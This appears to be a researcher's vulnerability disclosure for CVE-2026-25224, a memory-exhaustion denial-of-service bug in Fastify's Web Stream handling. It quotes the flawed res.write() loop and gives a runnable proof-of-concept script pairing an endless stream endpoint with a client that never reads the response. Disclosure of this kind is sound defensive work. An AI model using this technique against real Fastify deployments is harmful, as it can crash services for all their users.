CVE-2026-25224: Denial of Service via Unbounded Memory Allocation in Fastify

Published on May 12, 2026

Jetti Hrushikesh

OnlyBugs

Lead researcher and founder of OnlyBugs.

Critical Vulnerability in Fastify Web Streams

Fastify DoS Vulnerability Banner

A technical deep-dive into CVE-2026-25224: How ignoring backpressure leads to memory exhaustion and server crashes.

Severity: High (7.5)
CWE-770
CVE-2026-25224

Executive Summary

I have discovered a High-Severity Denial of Service (DoS) vulnerability in Fastify v5.7.0 and later. The issue lies in the sendWebStream function within lib/reply.js, which was recently introduced to support native Web Streams.

The implementation fails to handle TCP backpressure correctly. When a ReadableStream is sent as a response, Fastify continuously pulls data from the stream producer and writes it to the response object, while ignoring the return value of res.write().

Technical Analysis

In a healthy system, res.write() returns false when the internal buffer is full, signaling that the producer should pause (backpressure). Because Fastify ignores this signal and immediately schedules the next read, a fast producer connected to a slow or stalled client will fill the server's memory indefinitely.

Vulnerable Code Snippet:
// lib/reply.js
function onRead (result) {
  if (result.done) {
    return
  }
  // VULNERABILITY: Return value of res.write is ignored!
  res.write(result.value) 
  
  // The next read happens immediately, regardless of buffer state
  reader.read().then(onRead, onReadError) 
}

The Exploit Scenario

An attacker can exploit this by initiating a request to an endpoint that returns a Web Stream and simply not reading the response. This forces the server to buffer the entire stream in memory, leading to an Out-Of-Memory (OOM) crash.

Proof of Concept (PoC)

To reproduce this vulnerability, create a Fastify server (v5.7.0+) and run the following script:

```javascript 'use strict' const Fastify = require('fastify') const { ReadableStream } = require('node:stream/web') const { connect } = require('node:net') const fastify = Fastify({ logger: false }) fastify.get('/stream', (req, reply) => { const stream = new ReadableStream({ pull(controller) { // Push 1MB chunks indefinitely controller.enqueue(Buffer.alloc(1024 * 1024, 'a')) const usage = process.memoryUsage().rss / 1024 / 1024 console.log(`[Server] Memory usage: ${usage.toFixed(2)} MB`) } }) return reply.send(stream) }) async function run() { const address = await fastify.listen({ port: 0 }) const port = fastify.server.address().port console.log(`Server listening on port ${port}`) const client = connect(port, 'localhost', () => { client.write('GET /stream HTTP/1.1\\r\\nHost: localhost\\r\\nConnection: close\\r\\n\\r\\n') }) // Malicious client stops reading here, triggering backpressure } run() ```

Impact

Denial of Service (DoS): A single attacker can crash the Fastify server by targeting any endpoint that returns a Web Stream. This shuts down the service for all legitimate users. No authentication or special privileges are required.

References & Official Advisories

← Back to Recon Logs